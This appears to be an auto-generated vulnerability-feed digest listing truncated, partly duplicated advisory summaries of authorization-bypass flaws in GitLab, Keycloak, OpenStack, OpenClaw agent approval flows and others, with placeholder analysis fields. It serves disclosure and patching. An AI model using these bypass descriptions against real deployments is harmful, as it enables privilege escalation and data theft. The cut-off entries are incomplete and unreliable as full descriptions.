💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect visibility condition in the MISP event template builder allowed authenticated non-site-admin users to view galaxies that should not have been visible to their organisation. The custom access-control condition intended to restrict galaxies to those owned by the user’s organisation or distributed beyond it used a PHP comparison expression instead of a query condition. As a result, enabl
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability in MISP allows an organization administrator to target site administrator accounts belonging to the same organization through the administrative email functionality. The affected code restricted organization administrators to users within their own organization, but did not exclude accounts assigned a site administrator role from recipient queries. As a res
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization vulnerability in MISP allowed an authenticated organization administrator to access or modify user settings belonging to site administrator accounts within the same organization. The affected access-control checks scoped administrative actions by organization membership but did not exclude higher-privileged site administrator users. As a result, an organization administra
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Actual is a local-first personal finance tool. The `POST /openid/config` endpoint in Actual Budget's sync-server versions <= 26.4.0 exposes the full OpenID Connect configuration—including the OAuth2 `client_secret`—to any caller who knows the bootstrap password. The endpoint also lacks authentication and rate limiting, making the bootstrap password brute-forceable. Version 26.5.0 fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. From version 9.8.0 to before version 9.9.1-alpha.3, the routeAllowList server option restricts external client access to a configured list of REST API routes. The check is only enforced as Express middleware against the outer HTTP request URL, so the /batch handler dispatches each sub-request to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Solidtime is an open-source time-tracking app. Prior to version 0.12.2, Solidtime defines an explicit invitations:view and members:view permissions that gates the official invitations and members API. The Jetstream web team page authorizes access with only belongsToTeam() and then loads and serializes all pending invitation emails as well as members into Inertia props. Any employee who belongs to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MariaDB server is a community developed fork of MySQL server. From versions 10.6.1 to before 10.6.26, 10.11.1 to before 10.11.17, 11.4.1 to before 11.4.11, 11.8.1 to before 11.8.7, and 12.3.1, MariaDB allowed SELECT ... INTO OUTFILE and SELECT ... INTO DUMPFILE without verifying the FILE privilege if the FROM clause contained only subqueries. This issue has been patched in versions 10.6.26, 10.11.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MariaDB server is a community developed fork of MySQL server. From versions 11.4.1 to before 11.4.11, 11.8.1 to before 11.8.7, and 12.3.1, a user getting EXECUTE access to a stored routine via a role, could see the routine definition even without SHOW CREATE ROUTINE privilege. This issue has been patched in versions 11.4.11, 11.8.7, and 12.3.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.6.x <= 11.6.1, 11.5.x <= 11.5.4, 10.11.x <= 10.11.15, 10.11.x <= 10.11.16 Mattermost fails to require role-management authorization when setting the scheme_admin flag on group syncable link and patch endpoints, which allows a user with group-link permissions to escalate themselves and group members to team or channel admin via crafted API requests.. Mattermost Advisory ID: M
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.6.x <= 11.6.1, 11.5.x <= 11.5.4, 10.11.x <= 10.11.15, 10.11.x <= 10.11.16 fail to require system-level permission when patching protected default system roles, which allows authenticated users with delegated user-management permissions to escalate privileges by altering built-in role permissions via the role patch API.. Mattermost Advisory ID: MMSA-2026-00656
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nuxt is an open-source web development framework for Vue.js. From versions 3.11.0 to before 3.21.7 and 4.0.0 to before 4.4.7, there is a route-rule middleware bypass via case-sensitivity mismatch between vue-router and the routeRules matcher. This issue has been patched in versions 3.21.7 and 4.4.7.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Quest Bot is an opensource Discord Bot. Prior to version 1.1.6, the purge and slowmode commands check only guild-level permissions on the invoking member. They do not check the member’s effective permissions in the channel where the command is run. A user denied channel-level moderation permissions can still delete messages or change slowmode through the bot. This issue has been patched in version
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ClipBucket v5 is an open source video sharing platform. Prior to version 5.5.3 - #133, a normal authenticated user can edit another user's video subtitles because of a lack of authorization. They can upload subtitles, edit their name or delete them. This issue has been patched in version 5.5.3 - #133.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains an approval policy bypass vulnerability in the Skill Workshop apply flow that allows agent tool calls to set apply: true despite approvalPolicy: pending configuration. Attackers can exploit this by reaching the affected apply path to apply workshop changes before the expected approval step, potentially modifying configurations without proper authorization.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in Telegram interactive callbacks that allows authenticated users to skip commands.allowFrom validation. Attackers can invoke affected callbacks to mark themselves as authorized senders before allowlist checks are applied, triggering command behavior outside configured Telegram sender restrictions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.25 contains a policy bypass vulnerability in embedded runner policy that allows requests using provider aliases to compare against aliases instead of canonical provider identities. Attackers can exploit this confusion to select bundled tool access outside intended provider policy restrictions when the affected feature is enabled.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains an approval policy bypass vulnerability in the Skill Workshop apply flow that allows agent tool calls to set apply: true despite approvalPolicy: pending configuration. Attackers can exploit this by reaching the affected apply path to apply workshop changes before the expected approval step, potentially modifying configurations without proper authorization.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in Telegram interactive callbacks that allows authenticated users to skip commands.allowFrom validation. Attackers can invoke affected callbacks to mark themselves as authorized senders before allowlist checks are applied, triggering command behavior outside configured Telegram sender restrictions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact On a DevGuard API instance with one or more **public assets**, any authenticated user — including users from a different organization with no membership or role in the affected org/project — can create, update, reapply, and delete **VEX rules** on those public assets. The same flaw affects the other vulnerability-triage write endpoints exposed under a public asset, including: - VEX ru
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.6.0, mcp-server-kubernetes exposes three environment variables (ALLOW_ONLY_READONLY_TOOLS, ALLOW_ONLY_NON_DESTRUCTIVE_TOOLS, ALLOWED_TOOLS) documented as access controls for restricting which Kubernetes operations are available. These controls are enforced at the tool discovery layer (too
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 13.9 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an authenticated user with Security Manager-role permissions to manage project security configuration even when the relevant feature was in a disabled state, due to incorrect authorization enforcement.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.10 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an authenticated user with developer-role permissions to modify hidden merge requests due to incorrect authorization enforcements.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.0 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an authenticated user to access confidential issue details due to incorrect authorization checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-48 and 7.1.2-24, an incorrect parsing of the filename can result in a policy bypass and read files disallowed by a security policy using a symlink. This issue has been patched in versions 6.9.13-48 and 7.1.2-24.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Copy & Delete Posts through 1.5.4 lets any plugin-enabled non-admin role invoke every operation in the cdp_action_handling AJAX handler. Attackers with an enabled role can delete posts or overwrite plugin settings via the f parameter, bypassing per-function capability checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-24724 是一个影响 QNAP File Station 6 的授权不当漏洞。根据 NVD 描述，远程攻击者在获取用户账户后，可利用此漏洞绕过预期的访问限制，可能获取未授权的文件访问权限。官方已在 File Station 5 版本 5.5.6.5243 及之后版本中修复该漏洞（注意：修复版本为 File Station 5，可能为厂商笔误或后续版本整合）。目前该漏洞未被列入已知利用目录（KEV），也未有在野利用报告。由于缺乏 CVSS 评分，严重性不确定，但授权绕过漏洞通常可能导致敏感数据泄露或权限提升。建议用户尽快升级至 File Station 5.5.6.5243 或更高版本，并限制 File Station 服务的网络暴露范围，加强用户账户认证和权限管理。
💡 影响/原因: 该漏洞允许已获账户的攻击者绕过访问控制，可能导致敏感文件泄露或权限提升。虽然需要用户账户作为前提，但结合社会工程或低权限账户仍可能造成危害。
Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion versions 2023.19, 2025.8 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A high-privileged attacker could exploit this vulnerability to gain elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion versions 2023.19, 2025.8 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A high-privileged attacker could exploit this vulnerability to gain elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dreamweaver Desktop versions 21.7 and earlier are affected by an Incorrect Authorization vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability in Spring Expression Language (SpEL) evaluation logic allows for arbitrary zero-argument method invocation, even within restricted or read-only contexts, which may allow an attacker to invoke unintended application logic. Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. A vulnerability in versions prior to 8.6.0 allows a non-admin user holding only the granular `users.edit` permission to lock every admin out of the instance by editing the `activated` flag (which determines whether or not a user can login) and the `ldap_import` flag, which determines whether or not the user can request a password reset. Version 8
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in the User Messages dashboard widget in Checkmk <2.5.0p5 causes the message-fetching endpoints to return the dashboard creator's messages rather than the viewer's, allowing an attacker who knows a valid public dashboard share token to read the issuer's personal messages by sending requests to the underlying endpoint, even without a User Messages widget present.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in Keycloak. A limited administrator can exploit an improper access control vulnerability in the POST /admin/realms/{realm}/partialImport endpoint. This allows them to bypass Fine-Grained Admin Permissions (FGAP) and escalate their privileges to a full realm administrator by importing users with realm-admin role mappings.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper authorization in AppBlock prior to SMR Jun-2026 Release 1 allows local attacker to launch arbitrary activity. User interaction is required for triggering this vulnerability.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IRIS is a web collaborative platform that helps incident responders share technical details during investigations. In versions prior to 2.4.28, users can create alerts for customers that are not assigned to them. This can be abused to falsely attribute fake alerts to customers. In combination with Cross-Site Scripting, this can also be used to exfiltrate alerts from other customers. Version 2.4.28
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Froxlor is open source server administration software. Version 2.3.6 lets administrators configure `system.available_shells` as the approved shell list that customers may assign to FTP users. However, the server-side FTP account handlers do not enforce that whitelist when processing add or edit requests. As a result, an authenticated customer with shell delegation enabled can submit an arbitrary s
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-41283 是 OpenStack Mistral 工作流服务中的一个严重漏洞，影响版本至 22.0.0。当 Mistral API 暴露于网络时，未经授权的攻击者（需低权限）可通过特定端点执行任意远程代码（RCE），从而导致服务凭证泄露。该漏洞的 CVSS 评分为 9.9（关键），攻击复杂度低，无需用户交互，且影响机密性、完整性和可用性。由于 Mistral 常部署于云环境中管理自动化任务，一旦被利用，攻击者可完全控制服务，进而横向移动、窃取敏感数据或破坏基础设施。目前无证据表明该漏洞已被在野利用，也未列入 KEV 目录。建议用户立即将 Mistral 升级到修复版本（如 22.0.0 之后的安全更新），同时限制 API 端点仅对受信任网络暴露，并实施网络分段和最小权限原则。
💡 影响/原因: CVSS 9.9 的远程代码执行漏洞可直接导致云服务凭证泄露和完全控制，对 OpenStack 环境构成极大威胁。
Incorrect Authorization vulnerability in ABB T-MAC Plus. This issue affects T-MAC Plus: 4.0-24.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. In versions up to and including 0.8.3, a shared-agent editor can delete file records through `DELETE /api/files` that the owner has reused across multiple agents. The deletion removes the file globally — not just from the shared agent — breaking the owner's other private agents that reference the same `file_id`. The privat
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
alf.io is an open source ticket reservation system for conferences, trade shows, workshops, and meetups. Prior to version 2.0-M5-2606, a sandbox escape vulnerability in the alf.io extension script engine allows an authenticated administrator to execute arbitrary operating system commands on the server. The extension system is intended to execute restricted JavaScript in a sandboxed Rhino environme
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A weakness has been identified in nextlevelbuilder GoClaw up to 3.11.3. The impacted element is the function TeamTasksTool.executeComplete of the file internal/tools/team_tasks_lifecycle.go of the component Team Task Completion Handler. Executing a manipulation can lead to missing authorization. The attack may be launched remotely. The exploit has been made available to the public and could be use
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In version 3.6.19 of prefecthq/prefect, an authentication bypass vulnerability exists due to the improper handling of URL path exemptions for health check probes. Specifically, the authentication middleware exempts any URL path ending with 'health' or 'ready' from authentication checks. This allows an attacker to create resources with names ending in 'health' or 'ready' and access them without aut
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Slider Revolution plugin for WordPress is vulnerable to Sensitive Information Exposure in versions 7.0.0 - 7.0.14, via the 'slider.get.full' AJAX Action. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including raw social media API credentials: the Instagram OAuth token, Flickr API key, YouTube Data API key, and Facebook A
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Slider Revolution plugin for WordPress is vulnerable to Sensitive Information Exposure in versions 7.0.0 - 7.0.14, via the 'slider.get.full' AJAX Action. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including raw social media API credentials: the Instagram OAuth token, Flickr API key, YouTube Data API key, and Facebook A
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In multiple locations, there is a possible background activity launch due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capsule is a multi-tenancy and policy-based framework for Kubernetes. The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Prior to version 0.13.0, tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was determined in AstrBotDevs AstrBot 4.23.6. Affected by this issue is the function _normalize_rw_path of the file astrbot/core/tools/computer_tools/fs.py. This manipulation causes incorrect authorization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not res
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The Platform server exposes resources under `/api/v1/workspaces/{workspace_id}/...` and protects them with a `require_workspace_member(workspace_id)` FastAPI dependency. The dependency only checks that the caller is a member of the workspace_id in the URL prefix. The route handlers then look up the inner resource (`agent_id`, `issue_id`, `project_id`, `label_id`, `comment_id`, `depende
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder cont
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` — a separate URL parameter — without re-checking the folder that actually co
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category->i
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.1.13162 information disclosure was possible on Users and Groups pages
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.1.13162 information disclosure was possible on Users and Groups pages
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary CAPM3 is Metal3's Cluster API (CAPI) provider for baremetal provisioning in Kubernetes. Multiple cross-namespace access control vulnerabilities in Cluster API Provider Metal3 allow users with permissions to create or modify CAPM3 resources in one namespace to reference, read, or claim resources belonging to other namespaces. ## Patched In - **v1.13.0** (main branch — all fixes includ
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitHub CLI (gh) is GitHub’s official command line tool. Prior to 2.93.0, GitHub CLI incorrectly includes authorization header in API requests to TUF repository mirrors via gh attestation, gh release verify, and gh release verify-asset commands. The CLI uses a shared HTTP client with an authentication layer that automatically attaches tokens to outgoing requests. This layer lacks accurate host dete
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.18 contains a scope bypass vulnerability in the Gateway chat.send route that allows scoped clients to execute privileged commands. Attackers with operator.write scope can deliver commands through inherited external routes to bypass operator.approvals and operator.admin scope requirements, enabling unauthorized plugin, config, MCP, allowlist, and ACP mutations.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.29 contains an SSRF policy bypass vulnerability in browser debug and export routes that allows reuse of already-open blocked tabs. Attackers with access to these routes can bypass private-network SSRF policies by reusing blocked tabs to export or inspect content that should remain protected.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.29 contains a policy bypass vulnerability in QQBot admin commands that allows authenticated senders to skip DM-only and allowFrom policy checks. Attackers can route admin commands from unauthorized senders or contexts to execute restricted behavior that policy should have blocked.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.5.12 contains a privilege escalation vulnerability in Slack plugin approvals that allows exec-authorized users to resolve plugin approvals through the exec approver gate. Attackers with limited exec approval permissions can bypass intended approval splits to approve plugin actions outside operator configuration.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability exists in the Mautic 7 API v2 endpoints (utilizing API Platform). Under certain conditions, roles configured with owner-scope restrictions (such as `viewown` or `editown`) are not properly enforced. This allows low-privilege authenticated API users to bypass ownership-logic controls and access or modify resources belonging to other users.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Neutron before 28.0.1, the tagging controller enforces plural policy action names on single-tag write operations while the defined policy rules use singular names. The mismatched names evaluate as allowed under the default policy, permitting a project reader to create and update tags on same-project resources. Deployments running Neutron 26.0.0 or later are affected.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33., Portainer proxies requests to Kubernetes clusters through a middleware layer (kubeClientMiddleware) that validates the requesting user's token before forwarding traffic to the cluster. When secu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, 2.39.2, and 2.41.0, Portainer offers an environment-level Disable bind mounts for non-administrators security setting that blocks regular users from binding host paths into containers they crea
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vulnerability in the Oracle Public Sector Financials (International) product of Oracle E-Business Suite (component: Authorization). Supported versions that are affected are 12.2.6-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Public Sector Financials (International). While the vulnerability is in Oracle Public Sector F
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mantis Bug Tracker (MantisBT) is an open source issue tracker. Prior to 2.28.2, the mc_issue_update() function in MantisBT allows users having update_bug_threshold access (UPDATER, with default settings) to edit, change view state, and modify time tracking on bugnotes belonging to other users — bypassing the default DEVELOPER (level 55) threshold required by the dedicated mc_issue_note_update() fu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, improper authorization in the UploadPartCopy operation allows copying objects across buckets without enforcing destination bucket restrictions on allowed copy sources. The implementation validates GetObject permission on the source bucket and PutObject on the destination bucket independently, but does not enforce a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone federated token rescoping mechanism does not propagate the original token's expiry to the newly issued token. When a federated user rescopes a token via POST /v3/auth/tokens, the handle_scoped_token() function in the mapped authentication plugin returns response data without an expires_at value. The token provider falls back
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in OpenStack Keystone before 29.0.2. When combined with an application credential impersonation vulnerability, an attacker with the member role on a project can escalate to admin by chaining unrestricted application credentials with Keystone trusts. The impersonated token carries the victim's identity, which passes the trustor validation check. Keystone then validates the d
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone RBAC policy enforcer in enforce_call unconditionally merges the raw JSON request body into the policy enforcement dictionary via policy_dict.update(json_input.copy()), overwriting trusted target data that was previously set from database lookups. Because flask.request.get_json is called with force=True, this works regardless
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone application credential authentication plugin does not verify that the user supplied in the authentication request matches the owner of the application credential. An attacker can authenticate with their own application credential ID and secret while specifying a different user's name and domain in the request body. Keystone
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Keycloak 中发现一个缺陷，允许经过身份验证且具有现有组织成员身份的用户通过访问面向用户的 API（如账户 API）或请求带有 'organization' 作用域的 OpenID Connect (OIDC) 令牌来利用此漏洞。当管理员明确禁用组织功能后，该漏洞仍会导致组织元数据在令牌中泄露，可能使资源服务器做出错误的授权决策。CVSS 评分为 4.3（中等），攻击复杂度低，需要低权限，无需用户交互，影响范围仅限于机密性（低）。目前无证据表明该漏洞已在野外被利用，也未被纳入已知利用漏洞目录（KEV）。受影响产品为 Keycloak，建议用户尽快升级到修复此漏洞的最新版本，并限制对用户面向 API 的网络访问以降低风险。
💡 影响/原因: 该漏洞绕过管理员禁用组织功能的设置，导致敏感元数据泄露，可能引发资源服务器授权错误，影响身份和访问管理系统的可靠性。
### Summary `CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint. - The listing flow filters reports based on report-sharing rules - The detail flow only checks generic `reports` or `reports_config` permissions As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by nam
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The `WordExport` export flow only checks whether the current backend user has the feature permission `word_export`. It does not verify access rights on the target element itself. As a result, a low-privileged backend user can export document content even when the user does not have `view` permission on that document. In the local Docker reproduction, a low-privileged user successfu
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed an unauthorized user to enumerate private projects due to incorrect authorization checks.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
